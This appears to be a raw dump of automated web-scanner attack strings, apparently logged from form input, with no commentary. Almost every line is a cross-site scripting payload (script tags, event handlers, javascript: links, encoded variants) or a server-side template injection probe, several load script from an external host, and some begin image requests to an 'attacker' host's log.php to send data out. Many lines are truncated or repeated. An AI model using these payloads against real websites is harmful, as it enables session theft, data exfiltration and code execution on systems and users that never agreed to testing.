%35%35%35%3C%53%63%52%69%50%74%20%3E%61%35%68%76%289430%29%3C%2F%73%43%72%69%70%54%3E

1}dfb[[${98991*97996}]]xca

555<ScRiPt >Wl69(9201)</ScRiPt>

555<W1WYY7>CERVR[!+!]</W1WYY7>

<a HrEF=http://xss.bxss.me></a>

\xf6<img zzz onmouseover=UwoD(94311) //\xf6>

555\u003CScRiPt\a5hv(9689)\u003C/sCripT\u003E

555<input autofocus onfocus=UwoD(9449)>

555&lt

1dfb__${98991*97996}__::.x

<a HrEF=jaVaScRiPT:>

555<script>1TkE(9489)</script>

555<svg  \xa0onload=Wl69(9713)

\xf6<img zzz onmouseover=a5hv(98531) //\xf6>

555}body{zzz:Expre/**/SSion(yulM(9580))}

<a HrEF=http://xss.bxss.me></a>

1}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555pGxSh <ScRiPt >yulM(9804)</ScRiPt>

555<script>1TkE(9116)</script>9116

555<input autofocus onfocus=a5hv(9492)>

555<isindex type=image src=1 onerror=Wl69(9600)>

<a HrEF=jaVaScRiPT:>

555<ScRiPt >z2Ni(9735)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555<WXCQU4>T7ECW[!+!]</WXCQU4>

555<iframe src='data:text/html

555<ScR<ScRiPt>IpT>1TkE(9926)</sCr<ScRiPt>IpT>

555<WI9VZI>BSHSV[!+!]</WI9VZI>

555}body{zzz:Expre/**/SSion(UwoD(9515))}

555<ifRAme sRc=9205.com></IfRamE>

<a HrEF=jaVaScRiPT:>

555<body onload=Wl69(9075)>

555Dlmas <ScRiPt >UwoD(9569)</ScRiPt>

555<ScRiPt >1TkE(9164)</ScRiPt>

555<script>z2Ni(9871)</script>

555}body{zzz:Expre/**/SSion(a5hv(9393))}

555<a2Nx3Gr x=9380>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9470></ScRiPt>

555<img sRc='http://attacker-9326/log.php?

555<ScRiPt >1TkE(9794)</ScRiPt>

555Euz4o <ScRiPt >a5hv(9886)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=Wl69(9704)>

555<WLCVJK>CSMA1[!+!]</WLCVJK>

555<aWAGpqw<

555<script>z2Ni(9570)</script>9570

555<svg  \xa0onload=1TkE(9228)

555<WA3FYX>LTIOB[!+!]</WA3FYX>

555<ifRAme sRc=9159.com></IfRamE>

555<isindex type=image src=1 onerror=1TkE(9426)>

555<ifRAme sRc=9577.com></IfRamE>

555<ScR<ScRiPt>IpT>z2Ni(9318)</sCr<ScRiPt>IpT>

555<img src=xyz OnErRor=Wl69(9499)>

555<iframe src='data:text/html

555<ajlGV0M x=9819>

555<aOcKET6 x=9220>

555<img/src=">" onerror=alert(9486)>

555<ScRiPt >z2Ni(9938)</ScRiPt>

555<img sRc='http://attacker-9844/log.php?

555<body onload=1TkE(9280)>

555'"()&%<zzz><ScRiPt >blwx(9936)</ScRiPt>

555<img sRc='http://attacker-9055/log.php?

555'"()&%<zzz><ScRiPt >OocV(9599)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%57%6C%36%39%289062%29%3C%2F%73%43%72%69%70%54%3E

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9365></ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=1TkE(9434)>

555'"()&%<zzz><ScRiPt >1fhO(9127)</ScRiPt>

'"()&%<zzz><ScRiPt >blwx(9471)</ScRiPt>

555<aSF7hAt<

555<aTbweDU<

555\u003CScRiPt\Wl69(9344)\u003C/sCripT\u003E

'"()&%<zzz><ScRiPt >OocV(9229)</ScRiPt>

'"()&%<zzz><ScRiPt >1fhO(9157)</ScRiPt>

555<img src=xyz OnErRor=1TkE(9556)>

555<ScRiPt >z2Ni(9036)</ScRiPt>

5559791610

555<img/src=">" onerror=alert(9349)>

555<svg  \xa0onload=z2Ni(9305)

5559811815

5559882983

555&lt

555<isindex type=image src=1 onerror=z2Ni(9443)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%31%54%6B%45%289925%29%3C%2F%73%43%72%69%70%54%3E

bfg5744\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5744

\xf6<img zzz onmouseover=Wl69(98941) //\xf6>

bfg5729\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5729

555\u003CScRiPt\1TkE(9928)\u003C/sCripT\u003E

bfg6781\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6781

bfgx4900\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4900

555&lt

bfgx4327\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4327

555<iframe src='data:text/html

555<input autofocus onfocus=Wl69(9080)>

bfgx1164\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1164

555<body onload=z2Ni(9087)>

\xf6<img zzz onmouseover=1TkE(90741) //\xf6>

<%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

555<input autofocus onfocus=1TkE(9039)>

<a HrEF=http://xss.bxss.me></a>

555<img src=//xss.bxss.me/t/dot.gif onload=z2Ni(9674)>

555

555

555

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

<th:t="${dfb}#foreach

555<img src=xyz OnErRor=z2Ni(9165)>

<th:t="${dfb}#foreach

<a HrEF=jaVaScRiPT:>

<th:t="${dfb}#foreach

555<img/src=">" onerror=alert(9459)>

555}body{zzz:Expre/**/SSion(Wl69(9470))}

555'"()&%<zzz><ScRiPt >msVT(9257)</ScRiPt>

555

555

555}body{zzz:Expre/**/SSion(1TkE(9893))}

555

555FTPTP <ScRiPt >Wl69(9733)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%7A%32%4E%69%289079%29%3C%2F%73%43%72%69%70%54%3E

'"()&%<zzz><ScRiPt >msVT(9590)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

5559316935

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<WGRHDY>7J5XG[!+!]</WGRHDY>

555\u003CScRiPt\z2Ni(9117)\u003C/sCripT\u003E

555Lupso <ScRiPt >1TkE(9800)</ScRiPt>

555

555<WBM7SZ>6WZZJ[!+!]</WBM7SZ>

555&lt

bfg6160\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6160

555<ifRAme sRc=9623.com></IfRamE>

555

555

555<ifRAme sRc=9903.com></IfRamE>

bfgx4960\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4960

555'"()&%<zzz><ScRiPt >Lkj9(9074)</ScRiPt>

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

\xf6<img zzz onmouseover=z2Ni(96761) //\xf6>

dfb{{98991*97996}}xca

555<amFVqvh x=9000>

'"()&%<zzz><ScRiPt >Lkj9(9194)</ScRiPt>

555<aXnQGmP x=9790>

dfb[[${98991*97996}]]xca

555<input autofocus onfocus=z2Ni(9318)>

<%={{={@{#{${dfb}}%>

dfb[[${98991*97996}]]xca

555'"()&%<zzz><ScRiPt >B17E(9180)</ScRiPt>

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

5559323048

<a HrEF=http://xss.bxss.me></a>

dfb__${98991*97996}__::.x

555<img sRc='http://attacker-9984/log.php?

555<img sRc='http://attacker-9767/log.php?

555

'"()&%<zzz><ScRiPt >B17E(9718)</ScRiPt>

dfb__${98991*97996}__::.x

<a HrEF=jaVaScRiPT:>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<aXVEi4k<

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<aPaD8Zy<

<th:t="${dfb}#foreach

555}body{zzz:Expre/**/SSion(z2Ni(9610))}

555<ScRiPt >OocV(9974)</ScRiPt>

bfg7637\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7637

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

5559214642

555<ScRiPt >1fhO(9828)</ScRiPt>

bfgx4249\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4249

555PpZQO <ScRiPt >z2Ni(9555)</ScRiPt>

555<WGDVP2>IYU4I[!+!]</WGDVP2>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

bfg1800\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1800

555<ScRiPt >blwx(9932)</ScRiPt>

555<WNHUJM>OTPUZ[!+!]</WNHUJM>

555<script>OocV(9915)</script>

<%={{={@{#{${dfb}}%>

555

bfgx1323\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1323

555<WUQIQ6>LDYP4[!+!]</WUQIQ6>

555<WDXIWQ>8P6N2[!+!]</WDXIWQ>

555

555<script>OocV(9176)</script>9176

"}}dfb{{98991*97996}}xca

555<script>blwx(9442)</script>

555<ifRAme sRc=9988.com></IfRamE>

555<script>1fhO(9234)</script>

dfb{{98991*97996}}xca

<%={{={@{#{${dfb}}%>

555<script>blwx(9129)</script>9129

555<ScR<ScRiPt>IpT>OocV(9489)</sCr<ScRiPt>IpT>

555<aRlXRlG x=9711>

555<ScR<ScRiPt>IpT>blwx(9874)</sCr<ScRiPt>IpT>

555

"%}dfb{{98991*97996}}xca

555<img sRc='http://attacker-9502/log.php?

555<ScRiPt >OocV(9383)</ScRiPt>

dfb{{98991*97996}}xca

"}dfb{98991*97996}xca

555<ScRiPt >blwx(9459)</ScRiPt>

<th:t="${dfb}#foreach

555<script>1fhO(9016)</script>9016

555<alpdRur<

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9170></ScRiPt>

555<ScR<ScRiPt>IpT>1fhO(9664)</sCr<ScRiPt>IpT>

"}dfb${98991*97996}xca

dfb{98991*97996}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9370></ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ScRiPt >1fhO(9534)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9014></ScRiPt>

555'"()&%<zzz><ScRiPt >uLUy(9850)</ScRiPt>

"}dfb#{98991*97996}xca

555<ScRiPt >OocV(9825)</ScRiPt>

dfb${98991*97996}xca

dfb{{98991*97996}}xca

555<ScRiPt >blwx(9498)</ScRiPt>

"}dfb{#98991*97996}xca

dfb#{98991*97996}xca

555<ScRiPt >1fhO(9685)</ScRiPt>

"}dfb{@98991*97996}xca

'"()&%<zzz><ScRiPt >uLUy(9907)</ScRiPt>

dfb[[${98991*97996}]]xca

555<svg  \xa0onload=OocV(9601)

555<svg  \xa0onload=blwx(9411)

555'"()&%<zzz><ScRiPt >NB4Y(9730)</ScRiPt>

dfb{#98991*97996}xca

555<svg  \xa0onload=1fhO(9479)

555<isindex type=image src=1 onerror=OocV(9453)>

555<isindex type=image src=1 onerror=blwx(9612)>

'"()&%<zzz><ScRiPt >NB4Y(9944)</ScRiPt>

5559505861

dfb__${98991*97996}__::.x

"}}dfb{{=98991*97996}}xca

555<iframe src='data:text/html

dfb{@98991*97996}xca

555<iframe src='data:text/html

5559261440

555<isindex type=image src=1 onerror=1fhO(9429)>

dfb{{=98991*97996}}xca

555<body onload=blwx(9611)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

bfg2851\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2851

555<body onload=OocV(9946)>

555<iframe src='data:text/html

")dfb@(98991*97996)xca

bfg7204\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7204

555<img src=//xss.bxss.me/t/dot.gif onload=blwx(9518)>

555<ScRiPt >B17E(9779)</ScRiPt>

bfgx3438\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3438

"%>dfb<%=98991*97996%>xca

bfgx5826\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5826

dfb@(98991*97996)xca

555<img src=//xss.bxss.me/t/dot.gif onload=OocV(9430)>

555<body onload=1fhO(9946)>

555<WI18EG>7LPSE[!+!]</WI18EG>

"}dfb#set($x=98991*97996)${x}xca

555<img src=xyz OnErRor=OocV(9653)>

555<img src=xyz OnErRor=blwx(9521)>

<%={{={@{#{${dfb}}%>

dfb<%=98991*97996%>xca

555<img src=//xss.bxss.me/t/dot.gif onload=1fhO(9107)>

<%={{={@{#{${dfb}}%>

"}dfb{{"abc"|title}}xca

555<script>B17E(9279)</script>

555

555<img/src=">" onerror=alert(9452)>

555<img/src=">" onerror=alert(9058)>

dfb#set($x=98991*97996)${x}xca

"print("dfb" . 98991*97996 . "xca")

%35%35%35%3C%53%63%52%69%50%74%20%3E%62%6C%77%78%289916%29%3C%2F%73%43%72%69%70%54%3E

555<script>B17E(9395)</script>9395

555

555<img src=xyz OnErRor=1fhO(9800)>

<th:t="${dfb}#foreach

%35%35%35%3C%53%63%52%69%50%74%20%3E%4F%6F%63%56%289143%29%3C%2F%73%43%72%69%70%54%3E

<th:t="${dfb}#foreach

"98991*97996*98991*97996

555\u003CScRiPt\blwx(9017)\u003C/sCripT\u003E

555\u003CScRiPt\OocV(9921)\u003C/sCripT\u003E

555<ScR<ScRiPt>IpT>B17E(9886)</sCr<ScRiPt>IpT>

555

dfb{{"abc"|title}}xca

555&lt

555

555<img/src=">" onerror=alert(9760)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

"}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<ScRiPt >B17E(9563)</ScRiPt>

print("dfb" . 98991*97996 . "xca")

555

555&lt

\xf6<img zzz onmouseover=blwx(94461) //\xf6>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9851></ScRiPt>

"}}}dfb{{{this}}}xca

dfb{{98991*97996}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%31%66%68%4F%289949%29%3C%2F%73%43%72%69%70%54%3E

555

555<input autofocus onfocus=blwx(9688)>

\xf6<img zzz onmouseover=OocV(98411) //\xf6>

dfb[[${98991*97996}]]xca

98991*97996*98991*97996

555\u003CScRiPt\1fhO(9811)\u003C/sCripT\u003E

"}#{98991*97996*98991*97996}

dfb{{98991*97996}}xca

555<ScRiPt >B17E(9773)</ScRiPt>

"}dfb#{xca}=123

555<input autofocus onfocus=OocV(9041)>

dfb{@math key=98991 method="multiply" operand=97996/}xca

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

555&lt

<a HrEF=http://xss.bxss.me></a>

555<svg  \xa0onload=B17E(9645)

dfb{{{this}}}xca

"}}dfb{{'abcd'.toUpperCase()}}xca

\xf6<img zzz onmouseover=1fhO(97511) //\xf6>

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<a HrEF=jaVaScRiPT:>

<a HrEF=http://xss.bxss.me></a>

555<isindex type=image src=1 onerror=B17E(9664)>

555<input autofocus onfocus=1fhO(9778)>

555}body{zzz:Expre/**/SSion(blwx(9521))}

#{98991*97996*98991*97996}

"}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

<a HrEF=jaVaScRiPT:>

555<ScRiPt >uLUy(9773)</ScRiPt>

555PNAfz <ScRiPt >blwx(9129)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555<iframe src='data:text/html

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<WL7IQU>T2GH8[!+!]</WL7IQU>

dfb#{xca}=123

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(OocV(9290))}

"}}dfb{{98991*97996}}xca

555<WRRXWC>IDXQS[!+!]</WRRXWC>

555<body onload=B17E(9941)>

555<ScRiPt >NB4Y(9300)</ScRiPt>

555<script>uLUy(9700)</script>

dfb{{'abcd'.toUpperCase()}}xca

555<ifRAme sRc=9157.com></IfRamE>

"}dfb[[${98991*97996}]]xca

5553bAaQ <ScRiPt >OocV(9306)</ScRiPt>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<a8s8Brj x=9193>

555<WJQRGG>RYABM[!+!]</WJQRGG>

555}body{zzz:Expre/**/SSion(1fhO(9890))}

555<script>uLUy(9591)</script>9591

555<img src=//xss.bxss.me/t/dot.gif onload=B17E(9689)>

dfb{{98991*97996}}xca

555<img sRc='http://attacker-9926/log.php?

555<ScR<ScRiPt>IpT>uLUy(9684)</sCr<ScRiPt>IpT>

"dfb__${98991*97996}__::.x

555<script>NB4Y(9453)</script>

555<WJ8CQQ>MTWHI[!+!]</WJ8CQQ>

555yfyNK <ScRiPt >1fhO(9860)</ScRiPt>

555<img src=xyz OnErRor=B17E(9806)>

dfb[[${98991*97996}]]xca

555<abkbwaM<

"}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<script>NB4Y(9988)</script>9988

555<ifRAme sRc=9029.com></IfRamE>

555<WZMY08>UNGAR[!+!]</WZMY08>

555<ScRiPt >uLUy(9448)</ScRiPt>

dfb__${98991*97996}__::.x

'}}dfb{{98991*97996}}xca

555<ScR<ScRiPt>IpT>NB4Y(9176)</sCr<ScRiPt>IpT>

555<img/src=">" onerror=alert(9384)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<avUEtmk x=9829>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9227></ScRiPt>

555<ifRAme sRc=9736.com></IfRamE>

%35%35%35%3C%53%63%52%69%50%74%20%3E%42%31%37%45%289950%29%3C%2F%73%43%72%69%70%54%3E

'%}dfb{{98991*97996}}xca

555<ScRiPt >Lkj9(9343)</ScRiPt>

555<ScRiPt >NB4Y(9346)</ScRiPt>

555<axsb0bP x=9725>

555\u003CScRiPt\B17E(9177)\u003C/sCripT\u003E

555<img sRc='http://attacker-9109/log.php?

555'"()&%<zzz><ScRiPt >MpeF(9582)</ScRiPt>

'}dfb{98991*97996}xca

555<ScRiPt >uLUy(9612)</ScRiPt>

555<aqcQrgX<

555<img sRc='http://attacker-9450/log.php?

'"()&%<zzz><ScRiPt >MpeF(9155)</ScRiPt>

555<WQF932>UCYLI[!+!]</WQF932>

555&lt

555<svg  \xa0onload=uLUy(9291)

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9135></ScRiPt>

'}dfb${98991*97996}xca

555<aUi7kKR<

555<isindex type=image src=1 onerror=uLUy(9887)>

5559618507

'}dfb#{98991*97996}xca

555<ScRiPt >NB4Y(9998)</ScRiPt>

555<script>Lkj9(9748)</script>

'}dfb{#98991*97996}xca

\xf6<img zzz onmouseover=B17E(99271) //\xf6>

555<iframe src='data:text/html

'}dfb{@98991*97996}xca

555<svg  \xa0onload=NB4Y(9183)

555<script>Lkj9(9587)</script>9587

bfg7202\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7202

555<isindex type=image src=1 onerror=NB4Y(9368)>

555<body onload=uLUy(9008)>

555<input autofocus onfocus=B17E(9234)>

bfgx2173\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2173

555<ScR<ScRiPt>IpT>Lkj9(9255)</sCr<ScRiPt>IpT>

555<img src=//xss.bxss.me/t/dot.gif onload=uLUy(9443)>

'}}dfb{{=98991*97996}}xca

555<img src=xyz OnErRor=uLUy(9525)>

<%={{={@{#{${dfb}}%>

555<iframe src='data:text/html

555<ScRiPt >Lkj9(9925)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9595></ScRiPt>

555<img/src=">" onerror=alert(9589)>

')dfb@(98991*97996)xca

555<ScRiPt >Lkj9(9001)</ScRiPt>

555<body onload=NB4Y(9460)>

<a HrEF=jaVaScRiPT:>

<th:t="${dfb}#foreach

'%>dfb<%=98991*97996%>xca

555'"()&%<zzz><ScRiPt >0CzN(9711)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%75%4C%55%79%289317%29%3C%2F%73%43%72%69%70%54%3E

555

555<svg  \xa0onload=Lkj9(9465)

555<img src=//xss.bxss.me/t/dot.gif onload=NB4Y(9143)>

'"()&%<zzz><ScRiPt >0CzN(9386)</ScRiPt>

555}body{zzz:Expre/**/SSion(B17E(9414))}

555<isindex type=image src=1 onerror=Lkj9(9243)>

'}dfb#set($x=98991*97996)${x}xca

555\u003CScRiPt\uLUy(9066)\u003C/sCripT\u003E

555<iframe src='data:text/html

'}dfb{{"abc"|title}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

5559376478

555<img src=xyz OnErRor=NB4Y(9906)>

555Dzrvm <ScRiPt >B17E(9423)</ScRiPt>

555&lt

555<body onload=Lkj9(9460)>

555'"()&%<zzz><ScRiPt >VWtX(9956)</ScRiPt>

555<WI40JQ>4ONXC[!+!]</WI40JQ>

bfg9643\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9643

555

'print("dfb" . 98991*97996 . "xca")

555<img/src=">" onerror=alert(9241)>

\xf6<img zzz onmouseover=uLUy(95521) //\xf6>

'"()&%<zzz><ScRiPt >VWtX(9180)</ScRiPt>

555<ifRAme sRc=9080.com></IfRamE>

'98991*97996*98991*97996

555<img src=//xss.bxss.me/t/dot.gif onload=Lkj9(9984)>

bfgx1176\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1176

dfb{{98991*97996}}xca

5559358509

555<input autofocus onfocus=uLUy(9587)>

<%={{={@{#{${dfb}}%>

'}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<aigs2Td x=9560>

555<img src=xyz OnErRor=Lkj9(9246)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%4E%42%34%59%289510%29%3C%2F%73%43%72%69%70%54%3E

'}}}dfb{{{this}}}xca

<a HrEF=http://xss.bxss.me></a>

bfg7478\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7478

555<img/src=">" onerror=alert(9090)>

<th:t="${dfb}#foreach

555<img sRc='http://attacker-9237/log.php?

555\u003CScRiPt\NB4Y(9375)\u003C/sCripT\u003E

'}#{98991*97996*98991*97996}

dfb[[${98991*97996}]]xca

<a HrEF=jaVaScRiPT:>

%35%35%35%3C%53%63%52%69%50%74%20%3E%4C%6B%6A%39%289591%29%3C%2F%73%43%72%69%70%54%3E

'}dfb#{xca}=123

dfb__${98991*97996}__::.x

555

555}body{zzz:Expre/**/SSion(uLUy(9399))}

bfgx5387\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5387

555&lt

555\u003CScRiPt\Lkj9(9889)\u003C/sCripT\u003E

555<azI2YRN<

'}}dfb{{'abcd'.toUpperCase()}}xca

\xf6<img zzz onmouseover=NB4Y(92521) //\xf6>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555Yt8gY <ScRiPt >uLUy(9044)</ScRiPt>

<%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<input autofocus onfocus=NB4Y(9042)>

555&lt

555'"()&%<zzz><ScRiPt >DJgO(9630)</ScRiPt>

555

'}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555

555<ScRiPt >MpeF(9620)</ScRiPt>

'"()&%<zzz><ScRiPt >DJgO(9453)</ScRiPt>

555<WJETSR>CE9IV[!+!]</WJETSR>

\xf6<img zzz onmouseover=Lkj9(94751) //\xf6>

<a HrEF=http://xss.bxss.me></a>

'}}dfb{{98991*97996}}xca

5559148338

<th:t="${dfb}#foreach

dfb{{98991*97996}}xca

555<input autofocus onfocus=Lkj9(9069)>

555<WZNOEA>UCRPM[!+!]</WZNOEA>

555<ifRAme sRc=9965.com></IfRamE>

<a HrEF=jaVaScRiPT:>

'}dfb[[${98991*97996}]]xca

<a HrEF=http://xss.bxss.me></a>

555

bfg4059\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4059

555<a694iTM x=9346>

'dfb__${98991*97996}__::.x

dfb[[${98991*97996}]]xca

555<script>MpeF(9175)</script>

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(NB4Y(9531))}

555<img sRc='http://attacker-9315/log.php?

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

'}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<script>MpeF(9206)</script>9206

bfgx5101\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5101

dfb__${98991*97996}__::.x

555}body{zzz:Expre/**/SSion(Lkj9(9654))}

1}}dfb{{98991*97996}}xca

555

555<ScR<ScRiPt>IpT>MpeF(9191)</sCr<ScRiPt>IpT>

555Emr7I <ScRiPt >NB4Y(9531)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<aowO0tz<

1%}dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

555zU0u3 <ScRiPt >Lkj9(9983)</ScRiPt>

<%={{={@{#{${dfb}}%>

555<ScRiPt >0CzN(9003)</ScRiPt>

555<ScRiPt >MpeF(9584)</ScRiPt>

1}dfb{98991*97996}xca

555<WMYSXQ>OCB75[!+!]</WMYSXQ>

555<WT0TBR>KDJFK[!+!]</WT0TBR>

555<WQMTWL>B3GKO[!+!]</WQMTWL>

<th:t="${dfb}#foreach

dfb[[${98991*97996}]]xca

1}dfb${98991*97996}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9238></ScRiPt>

555<ifRAme sRc=9282.com></IfRamE>

dfb__${98991*97996}__::.x

555<script>0CzN(9765)</script>

555<ifRAme sRc=9331.com></IfRamE>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}dfb#{98991*97996}xca

555<script>0CzN(9442)</script>9442

555<ScRiPt >MpeF(9507)</ScRiPt>

555

555<aghihYp x=9078>

555<avcKBS0 x=9375>

1}dfb{#98991*97996}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img sRc='http://attacker-9471/log.php?

555<img sRc='http://attacker-9004/log.php?

555<ScR<ScRiPt>IpT>0CzN(9627)</sCr<ScRiPt>IpT>

"}}dfb{{98991*97996}}xca

555<svg  \xa0onload=MpeF(9456)

1}dfb{@98991*97996}xca

555<avzY7OR<

555<ScRiPt >0CzN(9282)</ScRiPt>

555<ScRiPt >VWtX(9198)</ScRiPt>

"%}dfb{{98991*97996}}xca

555<ajQ1XNt<

555<isindex type=image src=1 onerror=MpeF(9790)>

1}}dfb{{=98991*97996}}xca

555<WSRIAI>LOIG3[!+!]</WSRIAI>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9667></ScRiPt>

"}dfb{98991*97996}xca

555<iframe src='data:text/html

1)dfb@(98991*97996)xca

555<script>VWtX(9842)</script>

555<ScRiPt >0CzN(9337)</ScRiPt>

555<svg  \xa0onload=0CzN(9962)

555<body onload=MpeF(9428)>

1%>dfb<%=98991*97996%>xca

555<script>VWtX(9276)</script>9276

"}dfb${98991*97996}xca

555<isindex type=image src=1 onerror=0CzN(9944)>

555

555<img src=//xss.bxss.me/t/dot.gif onload=MpeF(9285)>

555<ScR<ScRiPt>IpT>VWtX(9818)</sCr<ScRiPt>IpT>

"}dfb#{98991*97996}xca

555<iframe src='data:text/html

1}dfb#set($x=98991*97996)${x}xca

1}dfb{{"abc"|title}}xca

555<ScRiPt >VWtX(9717)</ScRiPt>

"}dfb{#98991*97996}xca

555<img src=xyz OnErRor=MpeF(9863)>

555<body onload=0CzN(9627)>

"}dfb{@98991*97996}xca

1print("dfb" . 98991*97996 . "xca")

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9590></ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=0CzN(9790)>

555<img/src=">" onerror=alert(9357)>

"}}dfb{{=98991*97996}}xca

198991*97996*98991*97996

")dfb@(98991*97996)xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%4D%70%65%46%289286%29%3C%2F%73%43%72%69%70%54%3E

555<img src=xyz OnErRor=0CzN(9300)>

"%>dfb<%=98991*97996%>xca

1}dfb{@math key=98991 method="multiply" operand=97996/}xca

555\u003CScRiPt\MpeF(9457)\u003C/sCripT\u003E

555<ScRiPt >VWtX(9305)</ScRiPt>

555<img/src=">" onerror=alert(9810)>

1}}}dfb{{{this}}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%30%43%7A%4E%289245%29%3C%2F%73%43%72%69%70%54%3E

555&lt

"}dfb#set($x=98991*97996)${x}xca

1}#{98991*97996*98991*97996}

555<svg  \xa0onload=VWtX(9059)

1}dfb#{xca}=123

\xf6<img zzz onmouseover=MpeF(95981) //\xf6>

555<isindex type=image src=1 onerror=VWtX(9586)>

"}dfb{{"abc"|title}}xca

555\u003CScRiPt\0CzN(9007)\u003C/sCripT\u003E

1}}dfb{{'abcd'.toUpperCase()}}xca

555<input autofocus onfocus=MpeF(9718)>

555&lt

555<iframe src='data:text/html

"print("dfb" . 98991*97996 . "xca")

1}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

<a HrEF=http://xss.bxss.me></a>

\xf6<img zzz onmouseover=0CzN(98001) //\xf6>

555<body onload=VWtX(9762)>

555<img src=//xss.bxss.me/t/dot.gif onload=VWtX(9228)>

555<input autofocus onfocus=0CzN(9971)>

1}}dfb{{98991*97996}}xca

"98991*97996*98991*97996

<a HrEF=jaVaScRiPT:>

<a HrEF=http://xss.bxss.me></a>

